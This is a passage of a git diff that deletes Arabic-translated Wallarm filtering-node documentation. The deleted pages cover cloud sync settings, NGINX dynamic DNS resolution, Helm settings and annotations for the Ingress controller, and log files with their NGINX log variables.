(LOM)](../about-wallarm/protecting-against-attacks.md#custom-rules-for-request-analysis) -* الحصول على تحديثات [proton.db](../about-wallarm/protecting-against-attacks.md#library-libproton) -* إرسال بيانات حول الهجمات والثغرات المكتشفة -* إرسال مقاييس للحركة المعالجة - -تصف هذه التعليمات المعايير والأساليب المستخدمة لتكوين تزامن عقدة الفلترة وسحابة Wallarm. - -## معايير الوصول - -تُعدّ المعايير مثل اسم عقدة الفلترة، UUID، ومفتاح السري لـ API Wallarm، والتي تمكن عقدة الفلترة من الوصول إلى السحابة، معيّنة بوضوح في `node.yaml`. يتم إنشاء هذا الملف تلقائيًا بواسطة السكربت `register-node`. - -* بالنسبة لتثبيتات صورة Docker NGINX-based، صورة السحابة وجميع المثبتات الشاملة، يمكن العثور على الملف في `/opt/wallarm/etc/wallarm/node.yaml`، إلا إذا تم تجاوزه بواسطة الأمر [`wallarm_api_conf`](configure-parameters-en.md#wallarm_api_conf). -* للتثبيتات الأخرى، يقع في `/etc/wallarm/node.yaml`، إلا إذا تم تجاوزه بواسطة الأمر [`wallarm_api_conf`](configure-parameters-en.md#wallarm_api_conf). - -قد يحتوي الملف `node.yaml` على المعايير الوصول التالية: - -| المعيار | الوصف | القيمة الافتراضية | -| ------------- | ------------------------------------------------------------------------------- | -------------------- | -| `hostname` | اسم عقدة الفلترة. من ال**ضروري** تعيين هذا المتغير في ملف `node.yaml`. | مقدمة بواسطة `register-node` | -| `regtoken` | رمز للعقدة لكي تتمكن من الوصول إلى API Wallarm. | مقدمة بواسطة `register-node` | -| `uuid` | UUID لعقدة الفلترة. من ال**ضروري** تعيين هذا المتغير في ملف `node.yaml`. | مقدمة بواسطة `regtoken` | -| `secret` | مفتاح السر للوصول إلى API Wallarm. من ال**ضروري** تعيين هذا المتغير في ملف `node.yaml`. | مقدمة بواسطة `regtoken` | -| `api.host` | نقطة نهاية API Wallarm. يمكن أن تكون:
      • `us1.api.wallarm.com` لسحابة الولايات المتحدة
      • `api.wallarm.com` لسحابة الاتحاد الأوروبي
      | `api.wallarm.com` | -| `api.port` | منفذ API Wallarm. | `443` | -| `api.use_ssl` | ما إذا كان يتم استخدام SSL عند الاتصال بـ API Wallarm. | `true` | -| `api.ca_verify` | ما إذا كان سيتم تمكين/تعطيل التحقق من شهادة خادم API Wallarm. يمكن أن تكون:
      • `true` لتمكين التحقق
      • `false` لتعطيل التحقق
      . | `true` | -| `api.ca_file` | مسار ملف شهادة SSL. | `/usr/share/wallarm-common/ca.pem` | -| `api.localhost` | عنوان IP المحلي لواجهة الشبكة التي يتم من خلالها إرسال الطلبات إلى API Wallarm. هذا المعيار مطلوب إذا كانت واجهة الشبكة المستخدمة بشكل افتراضي تحد من الوصول إلى API Wallarm (على سبيل المثال، قد يتم إغلاق الوصول إلى الإنترنت). | - | -| `api.localport` | منفذ واجهة الشبكة التي يتم من خلالها إرسال الطلبات إلى API Wallarm. هذا المعيار مطلوب إذا كانت واجهة الشبكة المستخدمة بشكل افتراضي تحد من الوصول إلى API Wallarm (على سبيل المثال، قد يتم إغلاق الوصول إلى الإنترنت). | - | - -لتغيير معايير التزامن، اتبع الخطوات التالية: - -1. قم بإجراء التغييرات على ملف `node.yaml` بإضافة المعايير المطلوبة وتعيين القيم المرغوبة لها. -1. أعد تشغيل NGINX لتطبيق الإعدادات المحدثة على عملية التزامن: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" - -## فاصل التزامن - -بشكل افتراضي، تتزامن عقدة الفلترة مع سحابة Wallarm كل 120-240 ثانية (2-4 دقائق). يمكنك تغيير فاصل التزامن عبر متغير البيئة النظام `WALLARM_SYNCNODE_INTERVAL`. - -لتغيير الفاصل الزمني بين تزامن عقدة الفلترة وسحابة Wallarm: - -1. افتح الملف `/etc/environment`. -2. أضف متغير `WALLARM_SYNCNODE_INTERVAL` إلى الملف وقم بتعيين قيمة مرغوبة للمتغير بالثواني. لا يمكن أن تكون القيمة أقل من القيمة الافتراضية (`120` ثانية). على سبيل المثال: - - ```bash - WALLARM_SYNCNODE_INTERVAL=800 - ``` -3. احفظ الملف `/etc/environment` المعدل. سيتم تطبيق قيمة الفاصل الجديدة تلقائيًا على عملية التزامن. - -## مثال على التكوين - -لاحظ أنه بالإضافة إلى المعايير التي توفر لعقدة الفلترة الوصول إلى السحابة (الأقسام العامة وقسم `api`، الموصوفة في هذا المقال)، قد يحتوي ملف `node.yaml` أيضًا على معايير توفر الوصول الى ملفات [المطلوبة لتشغيل العقدة](configure-access-to-files-needed-for-node.md) (`قسم syncnode`). - ---8<-- "../include/node-cloud-sync-configuration-example.md" \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configure-dynamic-dns-resolution-nginx.md b/docs/latest-ar/admin-en/configure-dynamic-dns-resolution-nginx.md deleted file mode 100644 index 2c91eefb28..0000000000 --- a/docs/latest-ar/admin-en/configure-dynamic-dns-resolution-nginx.md +++ /dev/null @@ -1,33 +0,0 @@ -# تكوين حل النطاقات الديناميكي في NGINX - -إذا تم تمرير اسم النطاق في توجيه `proxy_pass` في ملف تكوين NGINX، فإن NGINX سيقوم بحل عنوان IP للمضيف مرة واحدة فقط بعد البدء. إذا قام خادم DNS بتغيير عنوان IP للمضيف، فسيستمر NGINX في استخدام عنوان IP القديم حتى يتم إعادة تحميل أو إعادة تشغيل NGINX. قبل ذلك، سيقوم NGINX بإرسال الطلبات إلى عنوان IP الخطأ. - -على سبيل المثال: - -```bash -location / { - proxy_pass https://demo-app.com; - include proxy_params; - } -``` - -للحل الديناميكي للنطاقات، يمكنك تعيين توجيه `proxy_pass` كمتغير. في هذه الحالة، سيستخدم NGINX عنوان DNS المحدد في توجيه [`resolver`](https://nginx.org/en/docs/http/ngx_http_core_module.html#resolver) عند حساب المتغير. - -!!! تحذير "تأثير حل النطاقات الديناميكي على معالجة الحركة" - * تبطئ تكوينات NGINX التي تحتوي على توجيه `resolver` ومتغير في توجيه `proxy_pass` من معالجة الطلب نظرًا لوجود خطوة إضافية لحل النطاقات الديناميكي في معالجة الطلب. - * يعيد NGINX حل اسم النطاق عندما تنتهي مدة صلاحيته (TTL). بإدراج معامل `valid` إلى توجيه `resolver`، يمكنك إخبار NGINX بتجاهل TTL وإعادة حل الأسماء بتردد محدد بدلاً من ذلك. - * إذا كان خادم DNS غير متاح، لن يقوم NGINX بمعالجة الحركة. - -على سبيل المثال: - -```bash -location / { - resolver 172.43.1.2 valid=10s; - set $backend https://demo-app.com$uri$is_args$args; - proxy_pass $backend; - include proxy_params; - } -``` - -!!! معلومة "حل النطاقات الديناميكي في NGINX Plus" - يدعم NGINX Plus حل النطاقات الديناميكي افتراضيًا. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configure-kubernetes-en.md b/docs/latest-ar/admin-en/configure-kubernetes-en.md deleted file mode 100644 index 2985360df5..0000000000 --- a/docs/latest-ar/admin-en/configure-kubernetes-en.md +++ /dev/null @@ -1,283 +0,0 @@ -[link-helm-chart-details]: https://github.com/wallarm/ingress-chart#configuration -[node-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation - -# التكوين الدقيق لـ Wallarm Ingress Controller المستند إلى NGINX - -تعرف على خيارات التكوين الدقيق المتاحة لوحدة التحكم Wallarm Ingress للحصول على الحد الأقصى من حل Wallarm. - -!!! info "التوثيق الرسمي لـ NGINX Ingress Controller" - التكوين الدقيق لـ Wallarm Ingress Controller مشابه إلى حد كبير لـ NGINX Ingress Controller والذي ذكر في [التوثيق الرسمي](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/). عند العمل مع Wallarm، تكون جميع الخيارات لإعداد نص الأصلي NGINX Ingress Controller متاحة. - -## إعدادات إضافية لـ Helm Chart - -يتم تعريف الإعدادات في ملف [`values.yaml`](https://github.com/wallarm/ingress-chart/blob/master/wallarm-ingress/values.yaml). بشكل افتراضي، يظهر الملف على النحو التالي: - -``` -controller: - wallarm: - enabled: false - apiHost: api.wallarm.com - apiPort: 443 - apiSSL: true - token: "" - nodeGroup: defaultIngressGroup - existingSecret: - enabled: false - secretKey: token - secretName: wallarm-api-token - tarantool: - kind: Deployment - service: - annotations: {} - replicaCount: 1 - arena: "1.0" - livenessProbe: - failureThreshold: 3 - initialDelaySeconds: 10 - periodSeconds: 10 - successThreshold: 1 - timeoutSeconds: 1 - resources: {} - metrics: - enabled: false - - service: - annotations: - prometheus.io/scrape: "true" - prometheus.io/path: /wallarm-metrics - prometheus.io/port: "18080" - - ## List of IP addresses at which the stats-exporter service is available - ## Ref: https://kubernetes.io/docs/user-guide/services/#external-ips - ## - externalIPs: [] - - loadBalancerIP: "" - loadBalancerSourceRanges: [] - servicePort: 18080 - type: ClusterIP - synccloud: - resources: {} - collectd: - resources: {} -``` - -لتغيير هذا الإعداد، نوصي باستخدام الخيار `--set` من `helm install` (إذا كان يتم تثبيت وحدة التحكم Ingress) أو `helm upgrade` (إذا كان يتم تحديث معلمات وحدة التحكم Ingress المثبتة). على سبيل المثال: - -=== "تثبيت وحدة التحكم Ingress" - ```bash - helm install --set controller.wallarm.enabled=true wallarm/wallarm-ingress -n - ``` -=== "تحديث معلمات وحدة التحكم Ingress" - ```bash - helm upgrade --reuse-values --set controller.wallarm.enabled=true wallarm/wallarm-ingress -n - ``` - -يتم تقديم وصف للمعلمات الرئيسية التي يمكنك إعدادها أدناه. تأتي المعلمات الأخرى بقيم افتراضية ونادراً ما تحتاج إلى تغييرها؛ تتوفر أوصافها في هذا [الرابط][link-helm-chart-details]. - -### controller.wallarm.enabled - -يتيح لك تمكين أو تعطيل وظائف Wallarm. - -**القيمة الافتراضية**: `false` - -### controller.wallarm.apiHost - -نقطة النهاية لواجهة Wallarm API. يمكن أن يكون: - -* `us1.api.wallarm.com` لـ [US cloud](../about-wallarm/overview.md#us-cloud). -* `api.wallarm.com` لـ [EU cloud](../about-wallarm/overview.md#eu-cloud), - -**القيمة الافتراضية**: `api.wallarm.com` - -### controller.wallarm.token - -قيمة رمز العقدة التصفية. هو مطلوب للوصول إلى واجهة Wallarm API. - -يمكن أن يكون الرمز أحد هذه [الأنواع][node-token-types]: - -* **رمز API (موصى به)** - مثالي إذا كنت بحاجة إلى إضافة / إزالة مجموعات العقدة بشكل ديناميكي لتنظيم واجهة المستخدم أو إذا كنت ترغب في التحكم في دورة حياة الرمز لزيادة الأمان. لتوليد رمز API: - - لتوليد رمز API: - - 1. اذهب إلى وحدة تحكم Wallarm → **Settings** → **API tokens** في إما [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) أو [EU Cloud](https://my.wallarm.com/settings/api-tokens). - 1. أنشئ رمز API بدور **Deploy**. - 1. أثناء نشر العقدة، استخدم الرمز المولد وحدد اسم المجموعة باستخدام المعلمة `controller.wallarm.nodeGroup`. يمكنك إضافة العديد من العقد إلى مجموعة واحدة باستخدام رموز API مختلفة. -* **رمز العقدة** - مناسب عندما تعرف بالفعل المجموعات العقدة التي ستُستخدم. - - لتوليد رمز العقدة: - - 1. اذهب إلى وحدة تحكم Wallarm → **Nodes** في إما [US Cloud](https://us1.my.wallarm.com/nodes) أو [EU Cloud](https://my.wallarm.com/nodes). - 1. أنشئ عقدة وسمِ مجموعة العقدة. - 1. أثناء نشر العقدة، استخدم رمز المجموعة عند كل عقدة تريد تضمينها في تلك المجموعة. - -يتم تجاهل المعلمة إذا كانت [`controller.wallarm.existingSecret.enabled: true`](#controllerwallarmexistingsecret). - -**القيمة الافتراضية**: `لم يُحدد` - -### controller.wallarm.nodeGroup - -بدءًا من إصدار Helm chart 4.6.8، يُحدد هذا اسم مجموعة العقد التصفية التي تريد إضافة العقد المنشورة حديثًا إليها. إن تجميع العقد بهذه الطريقة متاح فقط عندما تقوم بإنشاء وربط العقد بالسحابة باستخدام رمز API بدور **Deploy** (يتم تمرير قيمته في المعلمة `controller.wallarm.token`). - -**القيمة الافتراضية**: `defaultIngressGroup` - -### controller.wallarm.existingSecret - -بدءًا من إصدار Helm chart 4.4.1 ، يمكنك استخدام كتلة التكوين هذه لسحب قيمة رمز العقدة Wallarm من أسرار Kubernetes. من المفيد للبيئات ذات الإدارة المنفصلة للأسرار (مثل إذا كنت تستخدم عامل أسرار خارجي). - -لتخزين رمز العقدة في أسرار K8s وسحبه إلى الرسم البياني لـ Helm: - -1. قم بإنشاء سر Kubernetes مع رمز العقدة Wallarm: - - ```bash - kubectl -n create secret generic wallarm-api-token --from-literal=token= - ``` - - * `` هو الفضاء الاسمي Kubernetes الذي قمت بإنشائه للإصدار Helm مع وحدة التحكم Wallarm Ingress - * `wallarm-api-token` هو اسم سر Kubernetes - * `` هو قيمة رمز العقدة Wallarm المنسوخة من واجهة المستخدم Wallarm Console - - إذا كنت تستخدم بعض عامل الأسرار الخارجي، اتبع [الوثائق المناسبة لإنشاء سر](https://external-secrets.io). -1. ضع التكوين التالي في `values.yaml`: - - ```yaml - controller: - wallarm: - token: "" - existingSecret: - enabled: true - secretKey: token - secretName: wallarm-api-token - ``` - -**القيمة الافتراضية**: `existingSecret.enabled: false` التي تنطلق إلى الرسم البياني البياني للحصول على رمز العقدة Wallarm من `controller.wallarm.token`. - -### controller.wallarm.tarantool.replicaCount - -عدد الأحداث المتداولة لـ postanalytics. يتم استخدام postanalytics للكشف عن الهجمات المستندة إلى السلوك. - -**القيمة الافتراضية**: `1` - -### controller.wallarm.tarantool.arena - -تحدد كمية الذاكرة المخصصة لخدمة postanalytics. يوصى بتحديد قيمة كافية لتخزين بيانات الطلب للـ 5-15 دقيقة الأخيرة. - -**القيمة الافتراضية**: `0.2` - -### controller.wallarm.metrics.enabled - -هذا التبديل [يتحول بين](configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md) جمع المعلومات والمقاييس. إذا تم تثبيت [Prometheus](https://github.com/helm/charts/tree/master/stable/prometheus) في مجموعة Kubernetes، لا يتطلب التكوين الإضافي. - -**القيمة الافتراضية**: `false` - - - -## إعدادات الوحدة التحكم العالمية - -مستندًا عبر [ConfigMap](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/). - -بجانب المعياريات ، يتم دعم المعلمات الإضافية التالية: - -* `enable-wallarm` - يتيح وحدة Wallarm في NGINX -* [wallarm-acl-export-enable](configure-parameters-en.md#wallarm_acl_export_enable) -* [wallarm-upstream-connect-attempts](configure-parameters-en.md#wallarm_tarantool_upstream) -* [wallarm-upstream-reconnect-interval](configure-parameters-en.md#wallarm_tarantool_upstream) -* [wallarm-process-time-limit](configure-parameters-en.md#wallarm_process_time_limit) -* [wallarm-process-time-limit-block](configure-parameters-en.md#wallarm_process_time_limit_block) -* [wallarm-request-memory-limit](configure-parameters-en.md#wallarm_request_memory_limit) - -## التعليقات المنسوبة لـ Ingress - -تُستخدم هذه التعليقات لضبط معلمات لمعالجة مثيلات فردية لـ Ingress. - -[Besides the standard ones](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/), الإعدادات الإضافية المدعومة هي: - -* [nginx.ingress.kubernetes.io/wallarm-mode](configure-parameters-en.md#wallarm_mode), القيمة الافتراضية: `"off"` -* [nginx.ingress.kubernetes.io/wallarm-mode-allow-override](configure-parameters-en.md#wallarm_mode_allow_override) -* [nginx.ingress.kubernetes.io/wallarm-fallback](configure-parameters-en.md#wallarm_fallback) -* [nginx.ingress.kubernetes.io/wallarm-application](configure-parameters-en.md#wallarm_application) -* [nginx.ingress.kubernetes.io/wallarm-block-page](configure-parameters-en.md#wallarm_block_page) -* [nginx.ingress.kubernetes.io/wallarm-parse-response](configure-parameters-en.md#wallarm_parse_response) -* [nginx.ingress.kubernetes.io/wallarm-parse-websocket](configure-parameters-en.md#wallarm_parse_websocket) -* [nginx.ingress.kubernetes.io/wallarm-unpack-response](configure-parameters-en.md#wallarm_unpack_response) -* [nginx.ingress.kubernetes.io/wallarm-parser-disable](configure-parameters-en.md#wallarm_parser_disable) -* [nginx.ingress.kubernetes.io/wallarm-partner-client-uuid](configure-parameters-en.md#wallarm_partner_client_uuid) - -### تطبيق التعليق المنسوب على مورد Ingress - -لتطبيق الإعدادات على Ingress الخاص بك، يرجى استخدام الأمر التالي: - -``` -kubectl annotate --overwrite ingress -n = -``` - -* `` هو اسم Ingress الخاص بك -* `` هو مجال اسم Ingress الخاص بك -* `` هو اسم التعليق المنسوب من القائمة أعلاه -* `` هو قيمة التعليق المنسوب من القائمة أعلاه - -### أمثلة على التعليقات المنسوبة - -#### تكوين الصفحة القابلة للحظر ورمز الخطأ - -يُستخدم التعليق المنسوب `nginx.ingress.kubernetes.io/wallarm-block-page` لتكوين الصفحة القابلة للحظر ورمز الخطأ المرتجع في الرد على الطلب المحظور للأسباب التالية: - -* يحتوي الطلب على أحمال ضارة من الأنواع التالية: [هجمات التحقق من الإدخال](../about-wallarm/protecting-against-attacks.md#input-validation-attacks), [هجمات vpatch](../user-guides/rules/vpatch-rule.md), أو [هجمات مكتشفة بناءً على التعبيرات العادية](../user-guides/rules/regex-rule.md). -* الطلب الذي يحتوي على أحمال ضارة من القائمة أعلاه ينشأ من عنوان IP في ال [قائمة الرمادية](../user-guides/ip-lists/overview.md) والعقدة تُصفي الطلبات في [وضع](configure-wallarm-mode.md) الحظر الآمن. -* الطلب ينشأ من [denylisted IP address](../user-guides/ip-lists/overview.md). - -على سبيل المثال، لإرجاع صفحة الحظر الافتراضية لـ Wallarm ورمز الخطأ 445 في الرد على أي طلب تم حظره: - -``` bash -kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-block-page="&/usr/share/nginx/html/wallarm_blocked.html response_code=445 type=attack,acl_ip,acl_source" -``` - -[المزيد من التفاصيل حول أساليب تكوين الصفحة المحظورة ورمز الخطأ →](configuration-guides/configure-block-page-and-code.md) - -#### إدارة وضع libdetection - -!!! info "وضع **libdetection** الافتراضي" - الوضع الافتراضي لمكتبة **libdetection** هو `on` (مكَّن). - -يمكنك التحكم في وضع [**libdetection**](../about-wallarm/protecting-against-attacks.md#library-libdetection) باستخدام أحد الخيارات: -* تطبيق التعليق المنسوب [`nginx.ingress.kubernetes.io/server-snippet`](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/#server-snippet) التالي على مورد Ingress: - - ```bash - kubectl annotate --overwrite ingress -n nginx.ingress.kubernetes.io/server-snippet="wallarm_enable_libdetection off;" - ``` - -* أضف المعلمة `controller.config.server-snippet` إلى الرسم البياني لـ Helm: - - === "تثبيت وحدة التحكم Ingress" - ```bash - helm install --set controller.config.server-snippet='wallarm_enable_libdetection off;' wallarm/wallarm-ingress -n - ``` - - هناك أيضًا [معلمات أخرى](#additional-settings-for-helm-chart) مطلوبة لتثبيت وحدة التحكم Ingress بشكل صحيح. يرجى تمريرها في الخيار `--set` أيضًا. - === "تحديث معلمات وحدة التحكم Ingress" - ```bash - helm upgrade --reuse-values --set controller.config.server-snippet='wallarm_enable_libdetection off;' wallarm/wallarm-ingress -n - ``` diff --git a/docs/latest-ar/admin-en/configure-logging.md b/docs/latest-ar/admin-en/configure-logging.md deleted file mode 100644 index cca33dd86e..0000000000 --- a/docs/latest-ar/admin-en/configure-logging.md +++ /dev/null @@ -1,102 +0,0 @@ -[link-nginx-logging-docs]: https://docs.nginx.com/nginx/admin-guide/monitoring/logging/ -[doc-vuln-list]: ../attacks-vulns-list.md -[doc-lom]: ../user-guides/rules/rules.md#ruleset-lifecycle - -# العمل مع سجلات عقدة الفلتر - -ترشدك هذه المقالة حول كيفية البحث عن ملفات السجل لعقدة فلتر Wallarm. - -=== "المثبت All-in-one ، صورة Docker المستندة إلى NGINX ، صور السحابة" - بالنسبة للتثبيتات عبر [المثبت All-in-one](../installation/nginx/all-in-one.md), [صورة Docker المستندة إلى NGINX](installation-docker-en.md), [Amazon Machine Image (AMI)](../installation/cloud-platforms/aws/ami.md) و [Google Cloud Machine Image](../installation/cloud-platforms/gcp/machine-image.md), يتم توضع ملفات السجل داخل دليل `/opt/wallarm/var/log/wallarm`. - - ها هو تفصيل الملفات السجل التي ستواجهها والنوع من المعلومات التي يحتويها كل منها: - - * `brute-detect-out.log`: سجل جلب العدادات المتعلقة بالهجوم بالقوة الغاشمة في العقدة الفلتر. - * `export-attacks-out.log`: سجل تصدير بيانات الهجمات من الوحدة النمطية postanalytics إلى السحابة Wallarm. - * `export-environment-out.log`: سجل جمع إصدارات الحزم Wallarm المثبتة وتحميل هذه البيانات إلى السحابة Wallarm لإظهارها في تفاصيل العقدة الفلتر في وحدة التحكم Wallarm. يتم تشغيل هذه العمليات مرة واحدة في الساعة. - * `syncnode-out.log`: سجل مزامنة العقدة الفلتر مع السحابة Wallarm (يتضمن جلب الملفات [LOM][doc-lom] و proton.db من السحابة). - * `tarantool-out.log`: سجل عمليات الوحدة النمطية postanalytics. - * `sync-ip-lists-out.log` (يُسمى `sync-blacklist-out.log` في الإصدارات السابقة من العقدة): سجل مزامنة العقدة الفلتر مع عناوين IP المضافة إلى [قوائم IP](../user-guides/ip-lists/overview.md) ككائنات فردية أو شبكات فرعية. - * `sync-ip-lists-source-out.log` (يُسمى `sync-mmdb-out.log` في الإصدارات السابقة من العقدة): سجل مزامنة العقدة الفلتر مع عناوين IP المسجلة في الدول والمناطق والمراكز البيانات من [قوائم IP](../user-guides/ip-lists/overview.md). - * `appstructure-out.log` (في حاويات Docker فقط): سجل نشاط وحدة [اكتشاف API](../api-discovery/overview.md) . - * `registernode_loop-out.log` (في حاويات Docker فقط): سجل نشاط البرنامج النصي الغلاف أثناء تشغيل البرنامج النصي `register-node` بينما هو ناجح. - * `weak-jwt-detect-out.log`: سجل الكشف عن [الثغرة JWT](../attacks-vulns-list.md#weak-jwt). - * `detect-cred-stuffing-out.log`: سجل الكشف عن [credential stuffing](../about-wallarm/credential-stuffing.md). -=== "طرق التثبيت الأخرى" - عند التثبيت باستخدام طرق أخرى ، مثل [الحزم DEB/RPM](../installation/nginx/dynamic-module.md), يتم توضع ملفات السجل داخل الدليل `/var/log/wallarm`. - - ها هو تفصيل الملفات السجل التي ستواجهها والنوع من المعلومات التي يحتويها كل منها: - - * `brute-detect.log`: سجل جلب العدادات المتعلقة بالهجوم بالقوة الغاشمة في العقدة الفلتر. - * `export-attacks.log`: سجل تصدير بيانات الهجمات من الوحدة النمطية postanalytics إلى السحابة Wallarm. - * `export-environment.log`: سجل جمع إصدارات الحزم Wallarm المثبتة وتحميل هذه البيانات إلى السحابة Wallarm لإظهارها في تفاصيل العقدة الفلتر في وحدة التحكم Wallarm. يتم تشغيل هذه العمليات مرة واحدة في الساعة. - * `syncnode.log`: سجل مزامنة العقدة الفلتر مع السحابة Wallarm (يتضمن جلب الملفات [LOM][doc-lom] و proton.db من السحابة). - * `tarantool.log`: سجل عمليات الوحدة النمطية postanalytics. - * `sync-ip-lists.log` (يُسمى `sync-blacklist.log` في الإصدارات السابقة من العقدة): سجل مزامنة العقدة الفلتر مع عناوين IP المضافة إلى [قوائم IP](../user-guides/ip-lists/overview.md) ككائنات فردية أو شبكات فرعية. - * `sync-ip-lists-source.log` (يُسمى `sync-mmdb.log` في الإصدارات السابقة من العقدة): سجل مزامنة العقدة الفلتر مع عناوين IP المسجلة في الدول والمناطق والمراكز البيانات من [قوائم IP](../user-guides/ip-lists/overview.md). - * `appstructure.log` (في حاويات Docker فقط): سجل نشاط وحدة [اكتشاف API](../api-discovery/overview.md) . - * `registernode_loop.log` (في حاويات Docker فقط): سجل نشاط البرنامج النصي الغلاف أثناء تشغيل البرنامج النصي `register-node` بينما هو ناجح. - * `weak-jwt-detect.log`: سجل الكشف عن [الثغرة JWT](../attacks-vulns-list.md#weak-jwt). - -## تكوين التسجيل الممتد للعقدة الفلتر المستندة إلى NGINX - -يكتب NGINX سجلات الطلبات المعالجة (سجلات الوصول) في ملف سجل منفصل ، باستخدام تنسيق التسجيل `combined` الذي تم تعريفه مسبقًا بشكل افتراضي. - -``` -log_format combined '$remote_addr - $remote_user [$time_local] ' - '"$request" $request_id $status $body_bytes_sent ' - '"$http_referer" "$http_user_agent" '; -``` - -يمكنك تعريف واستخدام تنسيق تسجيل مخصص عن طريق تضمين متغيرات العقدة الفلتر الواحدة أو أكثر (بالإضافة إلى متغيرات NGINX الأخرى إذا لزم الأمر). سيسمح ملف سجل NGINX بتشخيص العقدة الفلتر بشكل أسرع بكثير. - -### متغيرات عقدة الفلتر - -قد تستخدم المتغيرات المتغيرة التالية لعقدة الفلتر عند تعريف تنسيق التسجيل NGINX: - -|الاسم|النوع|القيمة| -|---|---|---| -|`request_id`|String|معرف الطلب
      يحتوي على النموذج التالي للقيمة: `a79199bcea606040cc79f913325401fb`| -|`wallarm_request_cpu_time`|Float|الوقت بالثواني الذي قضاه CPU الجهاز الموجود على العقدة الفلتر في معالجة الطلب.| -|`wallarm_request_mono_time`|Float|الوقت بالثواني الذي قضاه CPU في معالجة الطلب + الوقت في الطابور. على سبيل المثال ، إذا كان الطلب في الطابور لمدة 3 ثوانٍ وتمت معالجته بواسطة CPU لمدة 1 ثانية ، فإن:
      • `"wallarm_request_cpu_time":1`
      • `"wallarm_request_mono_time":4`
      | -|`wallarm_serialized_size`|Integer|حجم الطلب المتسلسل بالبايت| -|`wallarm_is_input_valid`|Integer|صالحية الطلب
      `0`: الطلب صالح. تم التحقق من الطلب بواسطة العقدة الفلتر ويتطابق مع قواعد LOM.
      `1`: الطلب غير صالح. تم التحقق من الطلب بواسطة العقدة الفلتر ولا يتطابق مع قواعد LOM.| -| `wallarm_attack_type_list` | String | أنواع الهجوم [doc-vuln-list] التي تم اكتشافها في الطلب مع مكتبة [libproton](../about-wallarm/protecting-against-attacks.md#library-libproton). يتم تقديم الأنواع بتنسيق نصي:
      • xss
      • sqli
      • rce
      • xxe
      • ptrav
      • crlf
      • redir
      • nosqli
      • infoleak
      • overlimit_res
      • data_bomb
      • vpatch
      • ldapi
      • scanner
      • mass_assignment
      • ssrf
      • ssi
      • mail_injection
      • ssti
      • invalid_xml
      If several attack types are detected in a request, they are listed with the symbol `|`. For example: if XSS and SQLi attacks are detected, the variable value is `xss|sqli`. | -|`wallarm_attack_type`|Integer|[Attack types][doc-vuln-list] detected in the request with the library [libproton](../about-wallarm/protecting-against-attacks.md#library-libproton). Types are presented in bit string format:
      • `0x00000000`: no attack: `"0"`
      • `0x00000002`: xss: `"2"`
      • `0x00000004`: sqli: `"4"`
      • `0x00000008`: rce: `"8"`
      • `0x00000010`: xxe: `"16"`
      • `0x00000020`: ptrav: `"32"`
      • `0x00000040`: crlf: `"64"`
      • `0x00000080`: redir: `"128"`
      • `0x00000100`: nosqli: `"256"`
      • `0x00000200`: infoleak: `"512"`
      • `0x20000000`: overlimit_res: `"536870912"`
      • `0x40000000`: data_bomb: `"1073741824"`
      • `0x80000000`: vpatch: `"2147483648"`
      • `0x00002000`: ldapi: `"8192"`
      • `0x4000`: scanner: `"16384"`
      • `0x20000`: mass_assignment: `"131072"`
      • `0x80000`: ssrf: `"524288"`
      • `0x02000000`: ssi: `"33554432"`
      • `0x04000000`: mail_injection: `"67108864"`
      • `0x08000000`: ssti: `"134217728"`
      • `0x10000000`: invalid_xml: `"268435456"`
      If several attack types are detected in a request, the values are summarized. For example: if XSS and SQLi attacks are detected, the variable value is `6`. | - -### مثال التكوين - -فلنفترض أنك بحاجة إلى تحديد تنسيق التسجيل الممتد المسمى `wallarm_combined` الذي يتضمن المتغيرات التالية: -* جميع المتغيرات المستخدمة في تنسيق `combined` -* جميع متغيرات عقدة الفلتر - -للقيام بذلك، قم بتنفيذ الإجراءات التالية: - -1. الخطوط أدناه تصف التنسيق المطلوب للتسجيل. أضفها إلى كتلة `http` في ملف تكوين NGINX. - - ``` - log_format wallarm_combined '$remote_addr - $remote_user [$time_local] ' - '"$request" $request_id $status $body_bytes_sent ' - '"$http_referer" "$http_user_agent" ' - '$wallarm_request_cpu_time $wallarm_request_mono_time $wallarm_serialized_size $wallarm_is_input_valid $wallarm_attack_type $wallarm_attack_type_list'; - ``` - -2. قم بتمكين تنسيق التسجيل الممتد بإضافة التوجيه التالي إلى نفس الكتلة كما في الخطوة الأولى: - - `access_log /var/log/nginx/access.log wallarm_combined;` - - ستكتب سجلات الطلبات المعالجة في تنسيق `wallarm_combined` في ملف `/var/log/nginx/access.log`. - - !!! info "تسجيل شرطي" - مع التوجيه المدرج أعلاه ، ستتم تسجيل جميع الطلبات المعالجة في ملف السجل ، بما في ذلك تلك التي ليست ذات صلة بالهجوم. - - يمكنك تكوين تسجيل شرطي لتسجيل السجلات فقط للطلبات التي تكون جزءًا من هجوم (قيمة متغير `wallarm_attack_type` ليست صفر لهذه الطلبات). للقيام بذلك ، أضف شرطًا للتوجيه المذكور أعلاه: `access_log /var/log/nginx/access.log wallarm_combined if=$wallarm_attack_type;` - - قد يكون هذا مفيدًا إذا كنت ترغب في تقليل حجم ملف السجل ، أو إذا قمت بدمج عقدة فلتر مع واحدة من [حلول SIEM](https://www.wallarm.com/what/siem-whats-security-information-and-event-management-technology-part-1). - -3. قم بإعادة تشغيل NGINX عن طريق تشغيل أحد الأوامر التالية حسب نظام التشغيل الذي تستخدمه: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" - -!!! info "معلومات مفصلة" - للاطلاع على معلومات مفصلة حول تكوين التسجيل في NGINX ، انتقل إلى هذا [الرابط][link-nginx-logging-docs]. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configure-parameters-en.md b/docs/latest-ar/admin-en/configure-parameters-en.md deleted file mode 100644 index f0b7cd7d41..0000000000 --- a/docs/latest-ar/admin-en/configure-parameters-en.md +++ /dev/null @@ -1,709 +0,0 @@ -[doc-nginx-install]: ../installation/nginx/dynamic-module-from-distr.md -[doc-eu-scanner-ip-addresses]: scanner-address-eu-cloud.md 